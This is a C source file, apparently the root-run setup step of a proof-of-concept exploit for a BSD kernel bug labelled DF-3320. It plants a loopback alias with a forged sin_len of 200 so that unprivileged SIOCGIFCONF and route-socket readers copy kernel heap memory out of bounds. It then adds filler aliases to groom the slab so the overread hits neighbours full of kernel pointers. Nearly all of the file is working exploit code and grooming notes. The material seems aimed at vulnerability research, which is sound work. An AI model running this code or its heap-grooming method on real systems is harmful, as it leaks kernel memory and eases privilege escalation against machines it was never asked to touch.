/*
 * DF-3320 setup (run as ROOT): persist an attacker-chosen sin_len into a
 * live struct in_ifaddr via SIOCAIFADDR on lo0.
 *
 * in_control_internal() -> SIOCAIFADDR -> in_ifinit() does
 *
 *	ia->ia_addr = *sin;			(sys/netinet/in.c:998)
 *
 * copying the user sockaddr verbatim, including sin_len -- there is no
 * sin_len validation anywhere on the SIOCSIFADDR/SIOCAIFADDR path.
 * For a loopback interface in_ifinit() also does
 *
 *	ia->ia_dstaddr = ia_addr;		(sys/netinet/in.c:1062-1063)
 *
 * so the bogus length propagates into ifa_dstaddr as well.
 *
 * The malformed ia_addr (sin_len = 200, a 360-byte heap object with
 * ia_addr at offset 312) is then handed to unprivileged consumers that
 * trust sa_len as a copy length:
 *   - ifconf()      sys/net/if.c:2590-2592   (SIOCGIFCONF, no priv check)
 *   - rtsock.c      RT_ROUNDUP(sa->sa_len) copies into route sockets
 * reading up to 152 bytes past the end of the in_ifaddr allocation.
 *
 * This step models the "privileged misconfiguration" (same threat model
 * as DF-3318): root (or a buggy config tool feeding root) supplies the
 * garbage sin_len once; every local user can then trigger the leak.
 *
 * Build: cc -O -o setup setup.c
 * Run:   ./setup            (as root)
 */
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/sockio.h>
#include <net/if.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#include <unistd.h>

static int
add_alias(int s, const char *ifname, in_addr_t a, u_char sin_len)
{
	struct ifaliasreq ifra;
	struct sockaddr_in *sin;

	memset(&ifra, 0, sizeof(ifra));
	strlcpy(ifra.ifra_name, ifname, sizeof(ifra.ifra_name));

	sin = (struct sockaddr_in *)&ifra.ifra_addr;
	sin->sin_family = AF_INET;
	sin->sin_len = sin_len;		/* NOT validated by the kernel */
	sin->sin_addr.s_addr = a;

	/* sane /8 netmask, normal length */
	sin = (struct sockaddr_in *)&ifra.ifra_mask;
	sin->sin_family = AF_INET;
	sin->sin_len = sizeof(struct sockaddr_in);
	sin->sin_addr.s_addr = htonl(0xff000000U);

	/* ifra_broadaddr family 0 -> not touched for lo0 (not p2p/bcast) */

	if (ioctl(s, SIOCAIFADDR, &ifra) < 0) {
		fprintf(stderr, "SIOCAIFADDR(%s, len=%u): %s\n",
		    ifname, sin_len, strerror(errno));
		return (-1);
	}
	return (0);
}

int
main(int argc, char **argv)
{
	const char *ifname = (argc > 1) ? argv[1] : "lo0";
	int s, i;

	s = socket(AF_INET, SOCK_DGRAM, 0);
	if (s < 0) {
		perror("socket");
		exit(1);
	}

	/* the poisoned ifaddr: sin_len = 200 (> sizeof(struct sockaddr_in)) */
	if (add_alias(s, ifname, inet_addr("127.200.0.200"), 200) < 0)
		exit(1);
	printf("poisoned alias added: %s 127.200.0.200 sin_len=200\n", ifname);

	/*
	 * Filler aliases with normal lengths: fresh in_ifaddr allocations
	 * that land adjacent in the same slab, giving the out-of-bounds
	 * read deterministic, pointer-rich neighbours (each begins with a
	 * struct ifaddr full of kernel heap pointers).
	 */
	for (i = 1; i <= 5; i++) {
		char ip[32];
		snprintf(ip, sizeof(ip), "127.200.0.%d", 200 + i);
		if (add_alias(s, ifname, inet_addr(ip),
		    sizeof(struct sockaddr_in)) < 0)
			exit(1);
	}
	printf("filler aliases added: 127.200.0.201..205 sin_len=16\n");
	printf("SETUP-OK\n");
	return (0);
}
